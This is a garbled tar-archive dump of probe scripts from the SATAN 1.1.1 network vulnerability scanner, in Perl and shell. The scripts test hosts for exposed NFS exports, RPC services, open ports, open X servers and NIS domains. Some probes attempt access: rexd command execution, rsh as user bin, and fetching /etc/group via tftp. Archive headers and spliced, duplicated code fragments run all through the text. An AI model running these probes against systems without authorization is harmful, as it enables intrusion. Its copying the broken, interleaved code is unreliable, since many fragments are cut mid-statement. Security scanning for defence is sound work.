  2244.         $trustee = "";
  2245.         $trusted = "";
  2246.         $service_output = "";
  2247. .$text = "offers no anon ftp";
  2248. .$texts{&satan_string()} = 1;
  2249.     } elsif (/^Not connected/) {
  2250. .exit 1;
  2251.     }
  2252. }
  2253.  
  2254. foreach $key (keys %texts) {
  2255.     print "$key\n";
  2256. }
  2257. .    $origin = $2;
  2258. .    $origin =~ s/:.*//;
  2259. .    # Strip off X display numbers.
  2260. .    if ($origin =~ /(.*)@(.*)/) {
  2261. ..($ruser = $1) || ($ruser = "rsatan-1.1.1/bin/nfs-chk.satan.......................................................................   700 .   465 .   506 .       3353  5742457416  11045. ......................................................................
  2262. .................................................................................................................................................................................................................................................................
  2263. .............................#!/usr/local/bin/perl5
  2264. #
  2265. # Report file systems that are exported via portmap or that can be mounted
  2266. # by unpriviliged programs. World-mountable file systems are already taken
  2267. # care of by showmount.satan.
  2268. #
  2269. # version 1, Mon Mar 20 18:48:11 1995, last mod by wietse
  2270. #
  2271.  
  2272. $running_under_satan = 1;
  2273. require 'config/satan.cf';
  2274. require 'config/paths.pl';
  2275. require 'perl/misc.pl';
  2276. require 'perl/hostname.pl';
  2277. require 'perl/getfqdn.pl';
  2278. require 'perllib/getopts.pl';
  2279.  
  2280. $usage="Usage: $0 [-t timeout -u -v] target";
  2281. $opt_u = $untrusted_host;
  2282. &Getopts("t:uv") || die $usage;
  2283. $timeout = $short_timeout;
  2284.  
  2285. ($#ARGV == 0) || die $usage;
  2286.  
  2287. $target = $ARGV[0];
  2288. $flags = "-v" if defined($opt_v);
  2289. $timeout = $opt_t if defined($opt_t);
  2290. $untrusted_host = $opt_u;
  2291.  
  2292. $flags = "$flags -t $timeout" if defined($opt_t);
  2293.  
  2294. $service = &basename($0, ".satan");
  2295. $severity = "x";
  2296. $status = "a";
  2297. $service_output = "";
  2298.  
  2299. $| = 1;
  2300.  
  2301. open(NFS, "$NFS_CHK $flags $target |") || die "$0: cannot run nfs-chk";
  2302. while(<NFS>) {
  2303. .if (defined($opt_v)) {
  2304. .    print;
  2305. .}
  2306. .if (/exports (\S+) via portmapper/) {
  2307. ..$trusted = "ANY\@ANY";
  2308. ..$trustee = "$1\@$target";
  2309. ..$service_output = "NFS export via portmapper";
  2310. ..$text = "exports $1 via portmapper";
  2311. ..&satan_print();
  2312. .} elsif ($untrusted_host && /Mounted: (\S+) via mount daemon/) {
  2313. ..$trusted = "ANY\@ANY";
  2314. ..$trustee = "$1\@$target";
  2315. ..$service_output = "unrestricted NFS export";
  2316. ..$text = "exports $1 to everyone";
  2317. ..&satan_print();
  2318. .} elsif (/exports (\S+) to unprivileged/) {
  2319. ..$this_host = &getfqdn(&hostname());
  2320. ..$trusted = "ANY\@$this_host";
  2321. ..$trustee = "$1\@$target";
  2322. ..$service_output = "NFS export to unprivileged programs";
  2323. ..$text = "exports $1 to unprivileged programs";
  2324. ..&satan_print();
  2325. .}
  2326. .# world-wide exports already taken care of in showmount.satan
  2327. }
  2328. \@$target";
  2329. ..$trusted = "$ruser\@$host";
  2330. ..$text = "login $user home $home from $host"
  2331. .    } else {
  2332. ..$status = "u";
  2333. ..$trustee = "$user\@$target";
  2334. ..$trusted = "$user\@$host";
  2335. ..$text = "login $user home $home from $host, unable to verify hostname";
  2336. .    }
  2337. .    $service_outsatan-1.1.1/bin/rex.satan...........................................................................   700 .   465 .   506 .       1573  5742457416  10314. ....................................................................................
  2338. .................................................................................................................................................................................................................................................................
  2339. ...............#!/bin/sh
  2340. #
  2341. # If the host permits on/rexd with default auth_unix authentication,
  2342. # get the message of the day to prove we were in.
  2343.  
  2344. . config/paths.sh
  2345.  
  2346. # used in final output
  2347. target=$1
  2348. service=`$BASENAME $0 | $SED 's/\..*$//'`
  2349. status="a"
  2350.  
  2351. tmp_file=/tmp/rex.$$
  2352.  
  2353. trap "$RM -f $tmp_file; exit" 0 1 2 3 15
  2354.  
  2355. case $# in
  2356.     1) target=$1;;
  2357.     *) $ECHO Usage: $0 target 1>&2; exit 1;;
  2358. esac
  2359.  
  2360. # need the C program/exe to do the real work:
  2361. if $TEST ! -f "$REX" ; then
  2362. .exit 1
  2363. .fi
  2364.  
  2365. $REX -a 1,1,1 $target date >$tmp_file 2>/dev/null
  2366.  
  2367. if $TEST -s $tmp_file ; then
  2368. .severity="us"
  2369. .trustee="USER@$target"
  2370. .trusted="ANY@ANY"
  2371. .service_output="REXD access"
  2372. .text="rexd is vulnerable to the world"
  2373. else
  2374. .severity=""
  2375. .trustee=""
  2376. .trusted=""
  2377. .service_output=""
  2378. .text="rexd isn't vulnerable"
  2379. .fi
  2380.  
  2381. $RM -f $tmp_file
  2382.  
  2383. $ECHO "$target|$service|$status|$severity|$trustee|$trusted|$service_output|$text"
  2384.  
  2385. # that's it...
  2386. pen(NFS, "$NFS_CHK $flags $target |") || die "$0: cannot run nfs-chk";
  2387. while(<NFS>) {
  2388. .if (defined($opt_v)) {
  2389. .    print;
  2390. .}
  2391. .if (/exsatan-1.1.1/bin/rpc.satan...........................................................................   700 .   465 .   506 .       4224  5742457416  10276. .............................................................................................
  2392. .................................................................................................................................................................................................................................................................
  2393. ......#!/usr/local/bin/perl5
  2394. #
  2395. #  Does an "rpcinfo -p" on a machine, tries to determine anything interesting
  2396. # running there.
  2397. #
  2398. #  TODO -- verify args
  2399. #
  2400. # version 1, Mon Mar 20 21:05:44 1995, last mod by wietse
  2401. #
  2402. require 'config/paths.pl';
  2403. require 'perl/misc.pl';
  2404.  
  2405. die "usage: $0 target" unless ($#ARGV == 0);
  2406.  
  2407. # fields for satan...
  2408. $severity="x";
  2409. $status="a";
  2410.  
  2411. $target = $ARGV[0];
  2412.  
  2413. open(RPC, "$RPCINFO -p $target|");
  2414.  
  2415. while (<RPC>) {
  2416. .chop;
  2417. .($prog, $vers, $proto, $port, $name) = split;
  2418. .if ($name eq "rexd" || $prog == 100017)..{ $rexd = 1; }
  2419. .if ($name eq "arm")....{ $arm = 1; }
  2420. .if ($name eq "bootparam" || $prog == 100026).{ $bootparamd = 1; }
  2421. .if ($name eq "ypserv" || $prog == 100004).{ $ypserv = 1; }
  2422. .if ($name eq "ypbind" || $prog == 100007).{ $ypbind = 1; }
  2423. .if ($name eq "selection_svc" || $prog == 100015){ $s_svc = 1; }
  2424. .if ($name eq "nfs" || $prog == 100003)..{ $nfs = 1; }
  2425. .if ($name eq "mountd" || $prog == 100005).{ $mountd = 1; }
  2426. .if ($name eq "rusersd" || $prog == 100002).{ $rusersd = 1; }
  2427. .if ($name eq "netinfobind" || $prog == 200100001){ $netinfobind = 1; }
  2428. .if ($name eq "admind" || $prog == 100087).{ $admind = 1; }
  2429. }
  2430. close(RPC);
  2431.  
  2432. if ($rexd) {
  2433. .$service = "rexd"; $text = "runs rexd"; &satan_print;
  2434. }
  2435. if ($arm) {
  2436. .$service = "arm"; $text = "runs arm"; &satan_print;
  2437. }
  2438. if ($bootparamd) {
  2439. .$service = "bootparam"; $text = "runs bootparam"; &satan_print;
  2440. }
  2441. if ($ypserv) {
  2442. .$service = "ypserv"; $text = "is a NIS server"; &satan_print;
  2443. }
  2444. if ($ypbind) {
  2445. .$service = "ypbind"; $text = "is a NIS client"; &satan_print;
  2446. }
  2447. if ($rusersd) {
  2448. .$service = "rusersd"; $text = "runs rusersd"; &satan_print;
  2449. }
  2450. if ($nfs) {
  2451. .$service = "nfs"; $text = "runs NFS"; &satan_print;
  2452. }
  2453. if ($mountd) {
  2454. .$service = "mountd"; $text = "runs NFS"; &satan_print;
  2455. }
  2456. if ($s_svc) {
  2457. .$service = "selection_svc"; $text = "runs selection_svc"; &satan_print;
  2458. }
  2459. if ($admind) {
  2460. .$service = "admind"; $text = "runs admind"; &satan_print;
  2461. }
  2462.  
  2463. # print something out if nothing has happened so far...
  2464. # if rpcinfo returns !0, then flag it; else, nothing interesting showed up.
  2465. if ($text eq "") {
  2466. .$severity="";
  2467. .if ($?) { $text="rpcinfo error #$?"; }
  2468. .else { $text="No rpcinfo output of interest"; }
  2469. .&satan_print();
  2470. }
  2471.  version 1, Mon Mar 20 21:05:44 1995, last mod by wietse
  2472. #
  2473. require 'config/paths.pl';
  2474. require 'perl/misc.pl';
  2475.  
  2476. die "usage: $0 target" unless ($#ARGV == 0);
  2477.  
  2478. # fields for satan...
  2479. $severity="x";
  2480. $status="a";
  2481.  
  2482. $target = $ARGV[0];
  2483.  
  2484. open(RPC, "$RPCINFO -p $target|");
  2485.  
  2486. while (<RPC>) {
  2487. .chop;
  2488. .($prog, $vers, $proto, $port, $name) = split;
  2489. .if ($name eq "rexd" || $progsatan-1.1.1/bin/rsh.satan...........................................................................   744 .   465 .   506 .       3053  5742457416  10315. ........................................................................
  2490. .................................................................................................................................................................................................................................................................
  2491. ...........................#!/bin/sh
  2492. #
  2493. #  Does host trust us?  What is in hosts.equiv (probably a "+", if
  2494. # this works...)  Should run as "root"
  2495. #
  2496. #  CHANGES TO BE DONE: do something with the output.
  2497. #
  2498. #
  2499. # version 2, Sat Apr  8 21:02:49 1995, last mod by wietse
  2500. #
  2501.  
  2502. . config/paths.sh
  2503.  
  2504. user=bin
  2505. tmp_file="./tmp_file.$$"
  2506.  
  2507. # arg stuff:
  2508. while $TEST $# != 0
  2509.         do      case "$1" in
  2510.         -u)     user=$2 ; shift ;;
  2511.         *)      target=$1
  2512.         esac
  2513.         shift
  2514.         done
  2515.  
  2516. if $TEST "X$target" = "X" ; then
  2517.         $ECHO Usage $0 [-u user] target
  2518.         exit 1
  2519.         fi
  2520.  
  2521. # used in final output
  2522. # target=$1
  2523. service=`$BASENAME $0 | $SED 's/\..*$//'`
  2524. status="a"
  2525. service_output=""
  2526.  
  2527.  
  2528. # Check to see if we are who we should be -- bin or whatever:
  2529. whoami=`$WHOAMI`
  2530.  
  2531. if $TEST "$whoami" = "root" ; then
  2532. .$RCMD $target $user "file /bin/sh" > $tmp_file 2> /dev/null
  2533. else
  2534. .# $ECHO Must be run as root
  2535. .exit 2
  2536. .fi
  2537.  
  2538. if $GREP /bin/sh "$tmp_file" >/dev/null ; then
  2539. .# do we want to put the output into a data file?
  2540. .# $ECHO $target /etc/hosts.equiv file: `$CAT $tmp_file`
  2541. .trustee="USER@$target"
  2542. .service_output="remote shell access"
  2543. .if $TEST $user = "bin" ; then
  2544. ..trusted="ANY@ANY"
  2545. ..text="rshd trusts the world"
  2546.  
  2547. ..# assume if you can get bin, a "+" in hosts.equiv, == root
  2548.         .severity="rs"
  2549. .else
  2550. ..trusted="$user@ANY"
  2551. ..text="user $user trusts the world"
  2552.         .severity="us"
  2553. ..fi
  2554. else
  2555. .severity=""
  2556. .trustee=""
  2557. .trusted=""
  2558. .service_output=""
  2559. .text="doesn't trust the world"
  2560. .fi
  2561.  
  2562. $ECHO "$target|$service|$status|$severity|$trustee|$trusted|$service_output|$text"
  2563.  
  2564. $RM -f $tmp_file
  2565.  
  2566. exit 0
  2567.  
  2568. # finis
  2569. xt = "runs rusersd"; &satan_print;
  2570. }
  2571. if ($nfs) {
  2572. .$service = "nfs"; $text = "runs NFS"; &satan_print;
  2573. }
  2574. if ($mountd) {
  2575. .$service = "mountd"; $text = "runs NFS"; &satan_print;
  2576. }
  2577. if ($s_svc) {
  2578. .$service = "selection_svc"; $text = "runs selection_svc"; &satan_print;
  2579. }
  2580. if ($admind) {
  2581. .$service = "admind"; $text = "runs admind"; &satan_print;
  2582. }
  2583.  
  2584. # print something out if nothing has happened so far...
  2585. # if rpcinfo returns !0, then flag it; else, nothing interesting showesatan-1.1.1/bin/rusers.satan........................................................................   700 .   465 .   506 .       3367  5742457416  11044. ...............................
  2586. .................................................................................................................................................................................................................................................................
  2587. ....................................................................#!/usr/local/bin/perl5
  2588. #
  2589. # version 1, Mon Mar 20 18:49:25 1995, last mod by wietse
  2590. #
  2591.  
  2592. # Query the target's rusers daemon and report which user logged in from
  2593. # which host.  Try to clean up unqualified host names or host names that
  2594. # are truncated.
  2595.  
  2596. $running_under_satan = 1;
  2597.  
  2598. require 'config/paths.pl';
  2599. require 'perl/fix_hostname.pl';
  2600. require 'perl/misc.pl';
  2601. require 'perllib/getopts.pl';
  2602.  
  2603. #
  2604. # Parse JCL.
  2605. #
  2606. $usage="Usage: rusers.satan target\n";
  2607. &Getopts("v");
  2608.  
  2609. if ($#ARGV < 0) {
  2610. .print STDERR $usage;
  2611. .exit 1;
  2612. }
  2613. $target = $ARGV[0];
  2614. $service = &basename($0, ".satan");
  2615.  
  2616. $| = 1;
  2617.  
  2618. #
  2619. # Examine the output from the rusers client.
  2620. #
  2621. open (RUSERS, "$RUSERS -l $target 2>/dev/null|") 
  2622.     || exit 1;
  2623.  
  2624. while (<RUSERS>) {
  2625.     ($user, $where, $month, $day, $time, $idle, $host) = split;
  2626.  
  2627.     # Deal with hostname stuff in case of remote logins.
  2628.     if (/\(.*\)/) {
  2629. .if ($idle && !$host) {
  2630. .    $host = $idle;
  2631. .}
  2632. .# Get rid of X display numbers.
  2633. .$host =~ s/:.*//;
  2634. .$host =~ s/[()]//g;
  2635.  
  2636. .# Verify hostname if anything interesting was left.
  2637. .if ($host ne "" && $host ne "localhost") {
  2638. .    # Canonicalize the host name.
  2639. .    if ($fqdn = &fix_hostname($host, $target)) {
  2640. ..$host = $fqdn;
  2641. ..$status = "a";
  2642. ..$severity = "l";
  2643. ..$trustee = "$user\@$target";
  2644. ..$trusted = "root\@$host";
  2645. ..$service_output = "$user";
  2646. ..$text = "login $user from $host";
  2647. ..&satan_print();
  2648. .    } else {
  2649. ..$status = "u";
  2650. ..$severity = "l";
  2651. ..$trustee = "$user\@$target";
  2652. ..$trusted = "root\@$host";
  2653. ..$service_output = "$user";
  2654. ..$text = "login $user from $host, unable to verify hostname";
  2655. ..&satan_print();
  2656. .    }
  2657. .}
  2658.     }
  2659.     # Log this user, whether or not remote.
  2660.     $status = "a";
  2661.     $severity = "l";
  2662.     $text = "login $user";
  2663.     $service_output = "$user";
  2664.     $trusted = $trustee = "";
  2665.     &satan_print();
  2666. }
  2667. else
  2668. ..trusted="$user@ANY"
  2669. ..text="user $user trusts the world"
  2670.         .severity="us"
  2671. ..fi
  2672. else
  2673. .severity=""
  2674. .trustee=""
  2675. .trusted=""
  2676. .service_output=""
  2677. .text="doesn't trust the world"
  2678. .fi
  2679.  
  2680. $ECHO "$target|$service|$status|$severity|$trustee|$trusted|$service_outputsatan-1.1.1/bin/showmount.satan.....................................................................   700 .   465 .   506 .       5103  5742457416  11552. ..........................
  2681. .................................................................................................................................................................................................................................................................
  2682. .........................................................................#!/usr/local/bin/perl5
  2683. #
  2684. # Find out some stuff about NFS using showmount: world-wide exports,
  2685. # boot clients.  Should not bother to do this when rpc.rip fails.
  2686. #
  2687.  
  2688. # require these packages:
  2689. $running_under_satan = 1;
  2690. require "config/paths.pl";
  2691. require "perl/misc.pl";
  2692. require "perl/fix_hostname.pl";
  2693.  
  2694. if ($#ARGV != 0) {
  2695.         print "Usage $0 target\n";
  2696.         exit(1);
  2697.         }
  2698.  
  2699. $target = $ARGV[0];
  2700. ($service = $0) =~ s@^.*/([^\/\.]*)\..*$@$1@;
  2701.  
  2702. #
  2703. # we don't make value judgements here
  2704. #
  2705.  
  2706. $severity = "x";
  2707. $service_output = "";
  2708.  
  2709. # Showmount -e tells us who can mount what from this server.
  2710.  
  2711. open(SM, "$SHOWMOUNT -e $target|");
  2712.  
  2713. while (<SM>) {
  2714. .chop;
  2715. .next unless /^(\S+)\s+(\S+)\s*$/;
  2716. .$files = $1;
  2717. .@hosts = split(",", $2);
  2718. .for $host (@hosts) {
  2719. ..$Host = $host;
  2720. ..$host =~ tr/A-Z/a-z/;
  2721. ..if ($host eq "\(everyone\)" || $Host eq "Everyone") {
  2722. ...next if $untrusted_host;
  2723. ...$status="a";
  2724. ...$trustee="$files\@$target";
  2725. ...$trusted="root\@ANY";
  2726. ...$service_output="unrestricted NFS export";
  2727. ...$text="exports $files to everyone";
  2728. ...}
  2729. ..else {
  2730. ...$fqdn = &fix_hostname($host ,$target);
  2731. ...# if the host doesn't really exist, it could
  2732. ...# be a netgroup or something... try to complete
  2733. ...# hostname if not FQDN, etc., then try to resolve.
  2734. ...# If everything fails, just output what we can:
  2735. ...if ($fqdn eq "") {
  2736. ....$status="u";
  2737. ....$trustee="$files\@$target";
  2738. ....$trusted="root\@$host";
  2739. ....$service_output="$target $host";
  2740. ....$text="exports $files to $host, but we can't verify that $host exists";
  2741. ....}
  2742. ...else {
  2743. ....$host = $fqdn;
  2744. ....$status="a";
  2745. ....$trustee="$files\@$target";
  2746. ....$trusted="root\@$host";
  2747. ....$service_output="$target $host";
  2748. ....$text="exports $files to $host";
  2749. ....}
  2750. ...}
  2751. ..&satan_print();
  2752. ..$print_flag = 1;
  2753. ..}
  2754. .}
  2755.  
  2756. # Showmount -a tells what systems actually mount from this server.
  2757.  
  2758. open(SM, "$SHOWMOUNT -a $target|");
  2759.  
  2760. while (<SM>) {
  2761. .chop;
  2762. .next unless /(\S+):(\S+)/;
  2763. .($host = $1) =~ tr/A-Z/a-z/;
  2764. .$path = $2;
  2765. .$fqdn = &fix_hostname($host ,$target);
  2766. .# If everything fails, just output what we can:
  2767. .if ($fqdn eq "") {
  2768. ..$status="u";
  2769. ..$trustee="$path\@$target";
  2770. ..$trusted="root\@$host";
  2771. ..$service_output="$target $host";
  2772. ..$text="$host mounts $path from $target, but we can't verify that $host exists";
  2773. .} else {
  2774. ..$host = $fqdn;
  2775. ..$status="a";
  2776. ..$trustee="$path\@$target";
  2777. ..$trusted="root\@$host";
  2778. ..$service_output="$target $host";
  2779. ..$text="$host mounts $path from $target";
  2780. .}
  2781. .&satan_print();
  2782. .$print_flag = 1;
  2783. }
  2784.  
  2785. # print something out if nothing has happened so far...
  2786. if (!$print_flag) {
  2787. .$status="a";
  2788. .$severity="";
  2789. .$text="Not running showmount or other error";
  2790. .&satan_print();
  2791. }
  2792.  this server.
  2793.  
  2794. open(SM, "$SHOWMOUNT -e $target|");
  2795.  
  2796. while (<SM>) {
  2797. .chop;
  2798. .next unless /^(\S+)\s+(\S+)\s*$/;
  2799. .$files = $1;
  2800. .@hosts = split(",", $2);
  2801. .for $host (@hosts) {
  2802. ..$Host = $host;
  2803. ..$host =~ tr/A-Z/a-z/;
  2804. ..if ($host eq "\(everyone\)" || $Host eq "Everyone") {
  2805. ...next if $untrusted_host;
  2806. ...$status="a";
  2807. ...$trustee="$files\@$target";
  2808. ...$trusted="root\@ANY";
  2809. ...$service_output="unrestricted NFS export";
  2810. ...$text="exports $files to evesatan-1.1.1/bin/tcpscan.satan.......................................................................   700 .   465 .   506 .       2320  5742457416  11140. ......................................................................
  2811. .................................................................................................................................................................................................................................................................
  2812. .............................#!/usr/local/bin/perl5
  2813. #
  2814. # version 1, Mon Mar 20 18:44:32 1995, last mod by wietse
  2815. #
  2816.  
  2817. #
  2818. # Report TCP services (banners where possible).
  2819. #
  2820. require 'config/paths.pl';
  2821. require 'perl/misc.pl';
  2822. require 'perllib/getopts.pl';
  2823.  
  2824. $usage = "usage $0 [-v] ports target";
  2825.  
  2826. &Getopts("v") || die $usage;
  2827. die $usage unless ($#ARGV == 1);
  2828.  
  2829. ($services = $ARGV[0]) =~ tr /,/ /;
  2830. $target = $ARGV[1];
  2831.  
  2832. $severity = "x";
  2833. $status = "a";
  2834.  
  2835. $| = 1; 
  2836.  
  2837. open(SERVICES, $SERVICES) || die "$0: cannot open $SERVICES: $!\n";
  2838. while (<SERVICES>) {
  2839. .$service_name{$2} = $1 if /(\S+)\s+([0-9]+)\/tcp/;
  2840. }
  2841. close(SERVICES);
  2842.  
  2843. $command = "$TCP_SCAN -bs 'QUIT\\r\\n' $target $services";
  2844.  
  2845. print "$command\n" if $opt_v;
  2846.  
  2847. open(TCP_SCAN, "$command|")
  2848. .|| die "$0: cannot run $TCP_SCAN";
  2849.  
  2850. while(<TCP_SCAN>) {
  2851. .if (defined($opt_v)) {
  2852. .    print;
  2853. .}
  2854. .chop;
  2855. .s/^600([0-9]):[^:]*/600$1:X-$1/;
  2856. .s/^60([1-9][0-9]):[^:]*/60$1:X-$1/;
  2857. .($port, $service, $flag, $service_output) = split(/:/, $_, 4);
  2858. .$service = $service_name{$port} if $service_name{$port};
  2859. .if ($flag =~ /t/ && $port != 23 && $service_output) {
  2860. ..$service = "telnet on port $port";
  2861. .} elsif ($service eq "UNKNOWN") { 
  2862. ..$service = "$port:TCP"; 
  2863. .}
  2864. .$service_output =~ y/|/?/;
  2865. .$text = "offers $service";
  2866. .&satan_print();
  2867. }
  2868. resolve.
  2869. ...# If everything fails, just output what we can:
  2870. ...if ($fqdn eq "") {
  2871. ....$status="u";
  2872. ....$trustee="$files\@$target";
  2873. ....$trusted="root\@$host";
  2874. ....$service_output="$target $host";
  2875. ....$text="exports $files to $host, but we can't verify that $host exists";
  2876. ....}
  2877. ...else {
  2878. ....$host = $fqdsatan-1.1.1/bin/tftp.satan..........................................................................   700 .   465 .   506 .       2414  5742457416  10466. .....................................................................................
  2879. .................................................................................................................................................................................................................................................................
  2880. ..............#!/bin/sh
  2881. #
  2882. #  Usage: $0 target_host
  2883. #
  2884. #  Quick (well, relative; quickly written code, not a quick test) tftp
  2885. # checker.
  2886. #
  2887. #  Connects to the host, tries to get the password file.  Takes a long
  2888. # time to timeout...
  2889. #
  2890.  
  2891. #
  2892. #  Location of stuff:
  2893.  
  2894. . config/paths.sh
  2895.  
  2896. # need a target, eh?
  2897. if $TEST $# -ne "1" ; then
  2898. .$ECHO Usage: $0 target_host
  2899. .exit 1
  2900. .fi
  2901.  
  2902. # used in final output
  2903. target=$1
  2904. service=`$BASENAME $0 | $SED 's/\..*$//'`
  2905. status="a"
  2906.  
  2907. # tmp and target file
  2908. file=/etc/group
  2909. TMP=./tmp.$$
  2910.  
  2911. #
  2912. #   Do the dirty work -- check tftp for the localhost, if it was found;
  2913. # this might take a bit, since tftp might have to time out.
  2914. {
  2915. $TFTP << _XXX_
  2916. connect $target
  2917. get $file $TMP
  2918. quit
  2919. _XXX_
  2920. }  > /dev/null 2> /dev/null
  2921.  
  2922. if $TEST -s $TMP ; then
  2923. .trustee="nobody@$target"
  2924. .trusted="ANY@ANY"
  2925. .service_output="TFTP file access"
  2926. .text="tftp file read"
  2927. .severity="nr"
  2928. .$ECHO "$target|$service|$status|$severity|$trustee|$trusted|$service_output|$text"
  2929. .# little trick; output it once, then again below, for both
  2930. .# reading and writing.
  2931. .text="tftp file write"
  2932. .severity="nw"
  2933. else
  2934. .severity=""
  2935. .trustee=""
  2936. .trusted=""
  2937. .service_output=""
  2938. .text="tftp isn't running or is restricted"
  2939. .fi
  2940.  
  2941. $ECHO "$target|$service|$status|$severity|$trustee|$trusted|$service_output|$text"
  2942. $RM -f $TMP
  2943.  
  2944. exit 0
  2945.  
  2946. # end of script
  2947. ) {
  2948. .    print;
  2949. .}
  2950. .chop;
  2951. .s/^600([0-9]):[^:]*/600$1:X-$1/;
  2952. .s/^60([1-9][0-9]):[^:]*/60$1:X-$1/;
  2953. .($port, $service, $flag, $service_output) = split(/:/, $_, 4);
  2954. .$service = $service_name{$port} if $service_name{$port};
  2955. .if ($flag =~ /t/ && $porsatan-1.1.1/bin/udpscan.satan.......................................................................   700 .   465 .   506 .       1710  5742457417  11145. ............................................................................
  2956. .................................................................................................................................................................................................................................................................
  2957. .......................#!/usr/local/bin/perl5
  2958. #
  2959. # version 1, Mon Mar 20 18:46:18 1995, last mod by wietse
  2960. #
  2961.  
  2962. #
  2963. # Report UDP services.
  2964. #
  2965. require 'config/paths.pl';
  2966. require 'perl/misc.pl';
  2967. require 'perllib/getopts.pl';
  2968.  
  2969. $usage = "usage $0 [-v] ports target";
  2970.  
  2971. &Getopts("v") || die $usage;
  2972. die $usage unless ($#ARGV == 1);
  2973.  
  2974. ($services = $ARGV[0]) =~ tr /,/ /;
  2975. $target = $ARGV[1];
  2976.  
  2977. $severity = "x";
  2978. $status = "a";
  2979.  
  2980. $| = 1; 
  2981.  
  2982. open(SERVICES, $SERVICES) || die "$0: cannot open $SERVICES: $!\n";
  2983. while (<SERVICES>) {
  2984. .$service_name{$2} = $1 if /(\S+)\s+([0-9]+)\/udp/;
  2985. }
  2986.  
  2987. $command = "$UDP_SCAN $target $services";
  2988.  
  2989. print "$command\n" if $opt_v;
  2990.  
  2991. open(UDP_SCAN, "$command|")
  2992. .|| die "$0: cannot run $UDP_SCAN";
  2993.  
  2994. while(<UDP_SCAN>) {
  2995. .if (defined($opt_v)) {
  2996. .    print;
  2997. .}
  2998. .chop;
  2999. .($port, $service) = split(/:/, $_);
  3000. .$service = $service_name{$port} if $service_name{$port};
  3001. .if ($service eq "UNKNOWN") { $service = "$port:UDP"; }
  3002. .$service_output = "";
  3003. .$text = "offers $service";
  3004. .&satan_print();
  3005. }
  3006. port} if $service_name{$port};
  3007. .if ($flag =~ /t/ && $porsatan-1.1.1/bin/xhost.satan.........................................................................   700 .   465 .   506 .       1764  5742457417  10666. ............................................................................
  3008. .................................................................................................................................................................................................................................................................
  3009. .......................#!/usr/local/bin/perl5
  3010. #
  3011. #  Query the target's X display and report whether or not it is vulnerable
  3012. # to simple X attacks (keystroke grabbing, etc.)
  3013. #
  3014. require 'config/paths.pl';
  3015. require 'perl/misc.pl';
  3016. require 'perllib/getopts.pl';
  3017.  
  3018. $usage = "Usage: $0 [-d display] [-v] target";
  3019. &Getopts("d:v") || die $usage;
  3020. ($#ARGV ==  0) || die $usage;
  3021.  
  3022. # used in final output
  3023. $target = $ARGV[0];
  3024. $display = defined($opt_d) ? $opt_d : "$target:0";
  3025. $service = &basename($0, ".satan");
  3026. $status = "a";
  3027.  
  3028. # the actual program that does the work
  3029.  
  3030. $command = "DISPLAY=$display $XHOST 2>/dev/null";
  3031. print "$command\n" if $opt_v;
  3032. open (XHOST, "$command|") || die "cannot run $XHOST";
  3033. if (<XHOST> =~ /disabled/i) {
  3034. .$severity = "us";
  3035. .$trustee = "USER\@$target";
  3036. .$trusted = "ANY\@ANY";
  3037. .$service_output = "unrestricted X server access";
  3038. .$text = "no X server access control";
  3039. } else {
  3040. .$severity = "";
  3041. .$trustee = "";
  3042. .$trusted = "";
  3043. .$service_output = "";
  3044. .$text = "X server isn't vulnerable";
  3045. }
  3046.  
  3047. &satan_print();
  3048.  
  3049. # that's it...
  3050.  /t/ && $porsatan-1.1.1/bin/ypbind.satan........................................................................   700 .   465 .   506 .       3505  5742457417  11001. .........................................................................................
  3051. .................................................................................................................................................................................................................................................................
  3052. ..........#!/usr/local/bin/perl5
  3053.  
  3054. # Try to identify a host's NIS domain name and NIS server by trying out a
  3055. # series of NIS domain name guesses. When the number of guesses becomes
  3056. # sufficiently large (say, several tens when the network is fast) the
  3057. # remote ypbind daemon may fall behind so far that it runs out of file
  3058. # descriptors.  This can be fixed by inserting sleep() calls.
  3059.  
  3060. $running_under_satan = 1;
  3061.  
  3062. require 'config/paths.pl';
  3063. require 'perl/fix_hostname.pl';
  3064. require 'perl/misc.pl';
  3065. require 'perllib/getopts.pl';
  3066.  
  3067. #
  3068. # Do JCL stuff.
  3069. #
  3070. $usage="Usage: $0 target [hints]\n";
  3071. &Getopts("d:v");
  3072.  
  3073. if ($#ARGV < 0) {
  3074.     print STDERR $usage;
  3075.     exit 1;
  3076. }
  3077. $target = $ARGV[0];
  3078. $service = &basename($0, ".satan");
  3079. $status = "a";
  3080.  
  3081. # Iterate over all hints. For each hint, try the hint itself, then all
  3082. # results from breaking it up at successive dots. We use an associative
  3083. # array to weed out duplicate guesses.
  3084. #
  3085. if ($opt_d) {
  3086.     $guesses{$opt_d} = 0;
  3087. } else {
  3088.     foreach $i (1..$#ARGV, 0) {
  3089. .$hint = $ARGV[$i];
  3090. .$guesses{$hint} = 0;
  3091. .for ($dot = rindex($hint,"."); $dot >= $[; $dot = rindex($head,".")) {
  3092. .    $head = substr($hint, $[, $dot - $[);
  3093. .    $guesses{$head} = 0;
  3094. .    $tail = substr($hint, $dot + 1);
  3095. .    $guesses{$tail} = 0;
  3096. .}
  3097.     }
  3098. }
  3099.  
  3100. foreach $guess (keys %guesses) {
  3101.     if (defined($opt_v)) {
  3102. .print STDERR "ypbind.satan: trying: $guess\n";
  3103.     }
  3104.     open (YPWHICH, "$YPWHICH -d $guess $target 2>/dev/null|") 
  3105. .|| exit 1;
  3106.     while (<YPWHICH>) {
  3107. .chop;
  3108. .$nis_server = &fix_hostname(&get_host_name($_), $target);
  3109. .$severity = "x";
  3110. .$trusted = "root\@$nis_server";
  3111. .$trustee = "root\@$target";
  3112. .$service_output = "$guess $nis_server";
  3113. .$text = "$nis_server serves nis domain $guess for $target";
  3114. .&satan_print();
  3115. .exit;
  3116.     }
  3117.     close (YPWHICH);
  3118. }
  3119.  
  3120. # All out guesses failed.
  3121.  
  3122. $text = "unable to guess nis domain name of $target";
  3123. &satan_print();
  3124. exit;
  3125. >) {
  3126. .chop;
  3127. .next unless /(\S+):(\S+)/;
  3128. .($host = $1) =~ tr/A-Z/a-z/;
  3129. .$path = $2;
  3130. .$fqdn = &fix_hostname($host ,$target);
  3131. .# If everything fails, just output what we can:
  3132. .if ($fqdn eq "satan-1.1.1/bin/faux_fping..........................................................................   700 .   465 .   506 .        363  5742457415  10512. ......................................................................................
  3133. .................................................................................................................................................................................................................................................................
  3134. .............#!/usr/local/bin/perl5
  3135. #
  3136. # fping replacement that skips unresolvable hosts.
  3137. #
  3138.  
  3139. $running_under_satan = 1;
  3140. require 'perl/get_host.pl';
  3141. require 'config/paths.pl';
  3142.  
  3143. $timeout = 5;
  3144.  
  3145. for (@ARGV) { system("$PING $_ $timeout") if &get_host_name($_); }
  3146. emote ypbind daemon may fall behind so far that it runs out of file
